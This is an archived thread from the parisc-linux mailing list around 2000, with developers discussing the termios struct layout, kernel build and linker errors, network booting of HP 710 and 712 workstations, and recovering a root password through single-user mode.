NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Fri Dec 31 16:33:06 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA02749
	for <parisc-linux@puffin.external.hp.com>; Fri, 31 Dec 1999 16:33:06 -0700
Original-Received: (qmail 3470 invoked by uid 15267); 31 Dec 1999 23:35:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3460 invoked from network); 31 Dec 1999 23:35:50 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 31 Dec 1999 23:35:50 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id SAA31448
	for parisc-linux@thepuffingroup.com; Fri, 31 Dec 1999 18:35:50 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6667


I think the best thing to do with struct termios is to define it in a
way which is compatible with HPUX apps:

#  define NCCS 16

   typedef unsigned int tcflag_t;
   typedef unsigned char cc_t;
   typedef unsigned int speed_t;

#  ifdef _TERMIOS_INCLUDED
     struct termios {
        tcflag_t        c_iflag;        /* Input modes */
        tcflag_t        c_oflag;        /* Output modes */
        tcflag_t        c_cflag;        /* Control modes */
        tcflag_t        c_lflag;        /* Local modes */
        tcflag_t        c_reserved;     /* Reserved for future use */
        cc_t            c_cc[NCCS];     /* Control characters */
     };

As you can see, there are 4 bytes reserved before c_cc starts.  Linux
defines more than 16 NCCS, and also has a 1-byte field for the line
discipline.  So I propose:

struct termios {
        tcflag_t        c_iflag;        /* Input modes */
        tcflag_t        c_oflag;        /* Output modes */
        tcflag_t        c_cflag;        /* Control modes */
        tcflag_t        c_lflag;        /* Local modes */
	cc_t		c_line;		/* Line Discipline */
	cc_t		c_cc[19];	/* Control characters */
};

and then adjust the symbolic constants for VINTR et al to ensure they
still refer to the same offset within the structure.  Any comments?
I hope HP won't mind me using the reserved field in this way.


From - Thu Nov 08 21:11:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trouble to generate vmlinux
Date: Tue, 4 Jan 2000 15:36:12 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <007101bf56c1$0c5a13d0$0a14d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618719 29491 80.91.229.3 (22 Nov 2014 01:11:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:59 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: t.simonnet@esiee.fr  Tue Jan  4 07:33:29 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA04176
	for <parisc-linux@puffin.external.hp.com>; Tue, 4 Jan 2000 07:33:28 -0700
Original-Received: (qmail 20644 invoked by uid 15267); 4 Jan 2000 14:36:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20630 invoked from network); 4 Jan 2000 14:36:18 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 4 Jan 2000 14:36:18 -0000
Original-Received: from venus (venus.esiee.fr [147.215.20.10])
	by mail.esiee.fr (Postfix) with SMTP id 8589357321
	for <parisc-linux@thepuffingroup.com>; Tue,  4 Jan 2000 15:36:12 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:6668

I work on a HP712/60 workstation under HPUX 10.20.
I compile with cc, gcc or aCC.

I can't generate vmlinux; I have some Unsatisfied symbols :

......

parisc-linux-ld -R 0xc0010000 -N -e '$START$' arch/parisc/real/realexe.o
arch/parisc/kernel/init_task.o init/main.o init/version.o \
       arch/parisc/boot/ramdisk.o arch/parisc/kernel/kernel.o
arch/parisc/mm/mm.o kernel/kernel.o mm/mm.o fs/fs.o ipc/ipc.o \
       fs/filesystems.a \
       net/network.a \
       drivers/block/block.a drivers/gsc/gsc.a drivers/char/char.a
drivers/net/net.a drivers/pci/pci.a \
       /linux/linux/arch/parisc/lib/lib.a /linux/linux/lib/lib.a
/linux/linux/arch/parisc/lib/lib.a \
       -o vmlinux
parisc-linux-ld: Unsatisfied symbols:
   _R_iodc_cons_call (code)
   _R_fault_vector (code)
   _R_pdc_call (code)
make[1]: *** [vmlinux-real] Error 1
make[1]: Leaving directory `/linux/linux'
make: *** [vmlinux] Error 2

I try to modify convert.c without success.

Could you help me?

Thanks

=========================================================
Thierry SIMONNET
Responsable du Service des Moyens Informatiques Gnraux
Groupe ESIEE - CCIP
Cit Descartes - BP 99 - 2 Bd Blaise Pascal
93162 NOISY le Grand cedex
tel: 01 45 92 66 24  fax: 01 45 92 67 99 e-mail:  t.simonnet@esiee.fr
=========================================================








From - Thu Nov 08 21:11:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble to generate vmlinux
Date: Tue, 4 Jan 2000 10:43:06 -0500 (EST)
Lines: 63
Approved: news@gmane.org
Message-ID: <200001041543.KAA01712@hiauly1.hia.nrc.ca>
References: <007101bf56c1$0c5a13d0$0a14d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618719 29495 80.91.229.3 (22 Nov 2014 01:11:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: t.simonnet@esiee.fr (Thierry SIMONNET)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Jan  4 08:40:19 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA05138
	for <parisc-linux@puffin.external.hp.com>; Tue, 4 Jan 2000 08:40:19 -0700
Original-Received: (qmail 22228 invoked by uid 15267); 4 Jan 2000 15:43:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22203 invoked from network); 4 Jan 2000 15:43:09 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 4 Jan 2000 15:43:09 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id KAA01712;
	Tue, 4 Jan 2000 10:43:06 -0500 (EST)
In-Reply-To: <007101bf56c1$0c5a13d0$0a14d793@esiee.fr> from "Thierry SIMONNET" at Jan 4, 0 03:36:12 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6669

It looks as if you are trying to do a cross-compile which is not supported.
Currently, you must build with gcc and HP's ld under hpux 10.20 (or possibly,
9.X).

> 
> I work on a HP712/60 workstation under HPUX 10.20.
> I compile with cc, gcc or aCC.
> 
> I can't generate vmlinux; I have some Unsatisfied symbols :
> 
> ......
> 
> parisc-linux-ld -R 0xc0010000 -N -e '$START$' arch/parisc/real/realexe.o
> arch/parisc/kernel/init_task.o init/main.o init/version.o \
>        arch/parisc/boot/ramdisk.o arch/parisc/kernel/kernel.o
> arch/parisc/mm/mm.o kernel/kernel.o mm/mm.o fs/fs.o ipc/ipc.o \
>        fs/filesystems.a \
>        net/network.a \
>        drivers/block/block.a drivers/gsc/gsc.a drivers/char/char.a
> drivers/net/net.a drivers/pci/pci.a \
>        /linux/linux/arch/parisc/lib/lib.a /linux/linux/lib/lib.a
> /linux/linux/arch/parisc/lib/lib.a \
>        -o vmlinux
> parisc-linux-ld: Unsatisfied symbols:
>    _R_iodc_cons_call (code)
>    _R_fault_vector (code)
>    _R_pdc_call (code)
> make[1]: *** [vmlinux-real] Error 1
> make[1]: Leaving directory `/linux/linux'
> make: *** [vmlinux] Error 2
> 
> I try to modify convert.c without success.
> 
> Could you help me?
> 
> Thanks
> 
> =========================================================
> Thierry SIMONNET
> Responsable du Service des Moyens Informatiques Gnraux
> Groupe ESIEE - CCIP
> Cit Descartes - BP 99 - 2 Bd Blaise Pascal
> 93162 NOISY le Grand cedex
> tel: 01 45 92 66 24  fax: 01 45 92 67 99 e-mail:  t.simonnet@esiee.fr
> =========================================================
> 
> 
> 
> 
> 
> 
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble to generate vmlinux
Date: Tue, 04 Jan 2000 12:44:22 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <200001042044.MAA16184@milano.cup.hp.com>
References: <200001041543.KAA01712@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618719 29505 80.91.229.3 (22 Nov 2014 01:11:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:59 +0000 (UTC)
Cc: t.simonnet@esiee.fr (Thierry SIMONNET), parisc-linux@thepuffingroup.com,
        grundler@milano.cup.hp.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: grundler@cup.hp.com  Tue Jan  4 13:39:44 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA09778
	for <parisc-linux@puffin.external.hp.com>; Tue, 4 Jan 2000 13:39:43 -0700
Original-Received: (qmail 1141 invoked by uid 15267); 4 Jan 2000 20:42:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1131 invoked from network); 4 Jan 2000 20:42:34 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 4 Jan 2000 20:42:34 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (Postfix) with ESMTP
	id 8837F157; Tue,  4 Jan 2000 12:42:33 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id MAA16184; Tue, 4 Jan 2000 12:44:22 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 04 Jan 0100 10:43:06 PST."
             <200001041543.KAA01712@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:6670

"John David Anglin" wrote:
> It looks as if you are trying to do a cross-compile which is not supported.
> Currently, you must build with gcc and HP's ld under hpux 10.20 (or possibly,
> 9.X).

The cross-compile works (or worked). That's my default setup.
I change linux/Makefile with:
	CROSS_COMPILE = parisc-linux-

o only gcc can be used to build kernels.
o "cc" is still needed to generate utilities which run under HP-UX
  (that's HOSTCC in the Makefiles)

"ld" is the exception still because of SOM support. 
But I don't think that's Thierry's problem since the linker
isn't complaining about the object file type...

Which makes me wonder: theirry, what *is* the object file type?
It has to be HP's SOM format. I think the recipe for building
tools includes the changes to do that.

grant

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:11:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Wild <M_Wild@tunstall.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Thanks...alot
Date: Wed, 5 Jan 2000 09:00:00 -0000
Lines: 40
Approved: news@gmane.org
Message-ID: <51C39E66FF96D11194FCAA00040003048F3640@tele02.localnet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618720 29514 80.91.229.3 (22 Nov 2014 01:12:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: m_wild@tunstall.co.uk  Wed Jan  5 01:58:36 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA15953
	for <parisc-linux@puffin.external.hp.com>; Wed, 5 Jan 2000 01:58:35 -0700
Original-Received: (qmail 20739 invoked by uid 15267); 5 Jan 2000 09:01:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20714 invoked from network); 5 Jan 2000 09:01:24 -0000
Original-Received: from gate-isdn.tunstall.co.uk (194.152.75.185)
  by mailserv2.iuinc.com with SMTP; 5 Jan 2000 09:01:24 -0000
Original-Received: from [10.1.1.3] (helo=tele02.tunstall.co.uk)
	by gate-isdn.tunstall.co.uk with esmtp (Exim 2.12 #1)
	id 125mH6-0007D1-00
	for parisc-linux@thepuffingroup.com; Wed, 5 Jan 2000 08:58:37 +0000
Original-Received: by tele02.localnet with Internet Mail Service (5.5.2448.0)
	id <ZL6QBPWS>; Wed, 5 Jan 2000 09:00:09 -0000
X-Mailer: Internet Mail Service (5.5.2448.0)
Xref: news.gmane.org gmane.linux.ports.parisc:6671



> -----Original Message-----
> From: eric@cirr.com [mailto:eric@cirr.com]
> Sent: Thursday, December 30, 1999 4:54 PM
> To: tom@piace.com
> Cc: parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] Thanks...alot 
> 
> 
> 
> tom@piace.com writes:
> - 	Does anyone know if hp has a development version of hpux like
> - sun has with solaris?  If not does anyone know of a way to reset the
> - password from the console.
> 
> 	Depending upon the OS version and the settings, you
> should be able to boot the system to single user mode, and reset
> the password.  I'm a bit out of practice, but if you ``boot
> isl'', and then enter `/hp-ux -is' (for 9.0x) or `/stand/vmunix
> -is' (for 10.20), you should be get a single user prompt,
> without having to enter a password (later OS versions may
> require the root password to enter single user mode.)
> 

<snip>

Being in a similar predicament with a 710 workstation I managed
to get to the ISL prompt but to boot into single user mode
I needed to enter 'HPUX -is /hp-ux'. However, after file system
checking I got a repeated message along the lines of:

INIT: SINGLE USER MODE

This just filled up my screen.

Any suggestions as to what I can do to get root ?

Mark Wild.


From - Thu Nov 08 21:11:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trouble booting 712/60 and 710
Date: Wed, 5 Jan 2000 20:18:25 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <013201bf57b1$a3d6bb50$0a14d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618720 29520 80.91.229.3 (22 Nov 2014 01:12:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:00 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: t.simonnet@esiee.fr  Wed Jan  5 12:15:38 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA22132
	for <parisc-linux@puffin.external.hp.com>; Wed, 5 Jan 2000 12:15:37 -0700
Original-Received: (qmail 12623 invoked by uid 15267); 5 Jan 2000 19:18:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12615 invoked from network); 5 Jan 2000 19:18:29 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 5 Jan 2000 19:18:29 -0000
Original-Received: from venus (venus.esiee.fr [147.215.20.10])
	by mail.esiee.fr (Postfix) with SMTP id D538F5730E
	for <parisc-linux@thepuffingroup.com>; Wed,  5 Jan 2000 20:18:24 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:6672

I work on HP712/60  and HP710 workstation under HPUX 10.20.
I've done vmlinux and Image.

I can't boot using native HP's bootp daemon. The documentation is a bit
light and the archive doesn't give me any good response.
I try to boot using HP ISL (after using som_relocate), but it fails. In fact
it blocks in real setup.

Could you help me?

TX

=========================================================
Thierry SIMONNET
Responsable du Service des Moyens Informatiques Gnraux
Groupe ESIEE - CCIP
Cit Descartes - BP 99 - 2 Bd Blaise Pascal
93162 NOISY le Grand cedex

tel: 01 45 92 66 24 fax: 01 45 92 67 99 e-mail: t.simonnet@esiee.fr
=========================================================


From - Thu Nov 08 21:11:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eric@cirr.com (Eric Schnoebelen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting 712/60 and 710
Date: Wed, 05 Jan 2000 14:06:11 -0600
Lines: 131
Approved: news@gmane.org
Message-ID: <200001052006.OAA26587@egsner.cirr.com>
References: <013201bf57b1$a3d6bb50$0a14d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618720 29527 80.91.229.3 (22 Nov 2014 01:12:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Original-X-From: eric@cirr.com  Wed Jan  5 13:03:35 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA22860
	for <parisc-linux@puffin.external.hp.com>; Wed, 5 Jan 2000 13:03:35 -0700
Original-Received: (qmail 11978 invoked by uid 15267); 5 Jan 2000 20:06:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11970 invoked from network); 5 Jan 2000 20:06:27 -0000
Original-Received: from egsner.cirr.com (root@192.67.63.1)
  by mailserv2.iuinc.com with SMTP; 5 Jan 2000 20:06:27 -0000
Original-Received: from cirr.com (IDENT:eric@egsner.cirr.com [192.67.63.1]) by egsner.cirr.com (8.9.0/8.9.1)
         with ESMTP id OAA26587; Wed, 5 Jan 2000 14:06:11 -0600 (CST)
In-reply-to: Your message of "Wed, 05 Jan 2000 20:18:25 +0100."
             <013201bf57b1$a3d6bb50$0a14d793@esiee.fr> 
Original-Sender: eric@cirr.com
Xref: news.gmane.org gmane.linux.ports.parisc:6673


"Thierry SIMONNET" writes:
- I work on HP712/60  and HP710 workstation under HPUX 10.20.
- I've done vmlinux and Image.
- 
- I can't boot using native HP's bootp daemon. The documentation is a bit
- light and the archive doesn't give me any good response.
- I try to boot using HP ISL (after using som_relocate), but it fails. In fact
- it blocks in real setup.

	The 710 is going to use rbootd to network boot.. The 712
should use bootpd.

	Using rbootd for Linux from the puffin site, the configuration
file (rbootd.conf) should look like this:

		08:00:09:16:5e:d7	Image	# puck (hp720)

	Image should be stored in the directory specified by the
rbootd manual page (/usr/mdec/rbootd on my systems.)

	Using bootp on HP-UX, the configuration file
(/etc/bootptab) should look like this:

		test:\
			bf=Image:\
			ht=ether:\
			ha=080009165ed7:\
			ip=192.168.64.1:\
			hd=/:\

	Image should be stored in the root of your tftpd server
directory tree.  tftpd will need to be installed and configured.

[Warning, the bootp configuration file is approximate, as I
can't seem to find my running configuration.. The rbootd
configuration is correct as used by my 720.]


--
Eric Schnoebelen		eric@cirr.com		http://www.cirr.com
"The UNIX PC 3B1: 75% of the power of a VAX-11/780" - Technology Resource Ctr

X-From-Line: hppa-linux@thepuffingroup.com  Thu Mar 11 22:11:35 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id WAA14710
	for <pcj@merlin.pcj.primenet.com>; Thu, 11 Mar 1999 22:11:35 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Thu, 11 Mar 1999 22:11:35 PST
Received: from smtp04.primenet.com (daemon@smtp04.primenet.com [206.165.6.134])
	by primenet.com (8.8.8/8.8.5) with ESMTP id UAA03532
	for <pcj@smtp-local.primenet.com>; Thu, 11 Mar 1999 20:38:03 -0700 (MST)
Received: (from daemon@localhost)
	by smtp04.primenet.com (8.8.8/8.8.8) id VAA11827
	for <pcj@primenet.com>; Thu, 11 Mar 1999 21:22:23 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp04.primenet.com, id smtpd011788; Thu Mar 11 21:22:17 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id WAA12855;
	Thu, 11 Mar 1999 22:39:07 -0500
Resent-Date: Thu, 11 Mar 1999 22:39:07 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <36E88BE3.8694DD0F@home.com>
Date: Thu, 11 Mar 1999 21:37:07 -0600
From: P G <browndog@home.com>
Organization: @Home Network
X-Mailer: Mozilla 4.05 [en]C-AtHome0404  (Win95; U)
MIME-Version: 1.0
To: hppa-linux@thepuffingroup.com
References: <Pine.LNX.4.04.9903111741010.2848-100000@uxho0334.cup.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Subject: [hppa-linux] Bootstrap #4 successful
Resent-Message-ID: <"-OPRl1.0.m83.Rn8ws"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/176
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: a026470e23ee6d95ea805fec59b2f270
Lines: 43
Xref: merlin.pcj.primenet.com palinux:146

howdy

Works! - 712/100 Zip Drive 128MB

phil g



------------------------------------------------------------------------------

PARISC/Linux Bootstrap Version 0.2 (interactive)
By Jason Eckhardt
Built Thu Mar 11 16:01:50 CST 1999 by jason@sathanas

IPL_DEBUG: Page zero parameters:
  P0_IMM_max_mem:          134217728 (128 MB)
  P0_BOOTCPU_10msec:       1000000 (100 MHz)
  P0_BOOTCPU_mem_free:     0x00008000
  P0_BOOTCPU_hpa:          0xFFFBE000
  P0_BOOTCPU_pdc:          0xF0010488
  P0_COUT_iodc_io:         0x00008AAC
  P0_CIN_iodc_io:          0x00008000
  P0_BOOTDEV_iodc_io:      0x0000C114
  P0_COUT_class:           0x00000009
  P0_CIN_class:            0x00000008
  P0_BOOTDEV_class:        0x00000001
Reading parameters...done.
Size = 28672 bytes, entry = 0x00001000, location = 0x0001B000.
Loading kernel...done.
Transferring control to kernel.

*********************************************************

VMLINUX 0.0: Dummy kernel image loaded and executing!


It is now safe to reboot.
/

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A short note on includes
Date: Wed, 5 Jan 2000 17:54:02 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20000105175402.I5882@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618721 29538 80.91.229.3 (22 Nov 2014 01:12:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:01 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Wed Jan  5 15:51:13 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA24578
	for <parisc-linux@puffin.external.hp.com>; Wed, 5 Jan 2000 15:51:12 -0700
Original-Received: (qmail 22572 invoked by uid 15267); 5 Jan 2000 22:54:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22559 invoked from network); 5 Jan 2000 22:54:03 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 5 Jan 2000 22:54:03 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id RAA07464
	for parisc-linux@thepuffingroup.com; Wed, 5 Jan 2000 17:54:03 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6674


Something I've noticed while going through the 2.2 code and modifying
it for 2.3 is that people quite often use

#include <asm/spinlock.h>

instead of

#include <linux/spinlock.h>

It is almost always preferred to use linux/foo instead of asm/foo if
linux/foo exists.  The linux/foo file will perform the <asm/foo> include
to get the arch-specific pieces as necessary.  There's no need to panic
and submit dozens of patches right now (particularly since we're about
to make the 2.3 tree available for public submissions), but I thought
this was a useful thing for people to know for the future.



From - Thu Nov 08 21:11:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eric@cirr.com (Eric Schnoebelen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thanks...alot
Date: Wed, 05 Jan 2000 21:22:43 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <200001060322.VAA13456@opus.cirr.com>
References: <51C39E66FF96D11194FCAA00040003048F3640@tele02.localnet>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618721 29575 80.91.229.3 (22 Nov 2014 01:12:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mark Wild <M_Wild@tunstall.co.uk>
Original-X-From: eric@cirr.com  Wed Jan  5 20:20:11 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA27447
	for <parisc-linux@puffin.external.hp.com>; Wed, 5 Jan 2000 20:20:10 -0700
Original-Received: (qmail 19229 invoked by uid 15267); 6 Jan 2000 03:23:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19218 invoked from network); 6 Jan 2000 03:23:03 -0000
Original-Received: from opus.cirr.com (root@192.67.63.6)
  by mailserv2.iuinc.com with SMTP; 6 Jan 2000 03:23:03 -0000
Original-Received: from cirr.com (IDENT:eric@egsner.cirr.com [192.67.63.1])
	by opus.cirr.com (8.9.0/8.9.0) with ESMTP id VAA13456;
	Wed, 5 Jan 2000 21:22:42 -0600 (CST)
In-reply-to: Your message of "Wed, 05 Jan 2000 09:00:00 GMT."
             <51C39E66FF96D11194FCAA00040003048F3640@tele02.localnet> 
Original-Sender: eric@cirr.com
Xref: news.gmane.org gmane.linux.ports.parisc:6675


Mark Wild writes:
- From: eric@cirr.com [mailto:eric@cirr.com]
- > tom@piace.com writes:
- > - 	Does anyone know if hp has a development version of hpux like
- > - sun has with solaris?  If not does anyone know of a way to reset the
- > - password from the console.
- > 
- > 	Depending upon the OS version and the settings, you
- > should be able to boot the system to single user mode, and reset
- > the password.  I'm a bit out of practice, but if you ``boot
- > isl'', and then enter `/hp-ux -is' (for 9.0x) or `/stand/vmunix
- > -is' (for 10.20), you should be get a single user prompt,
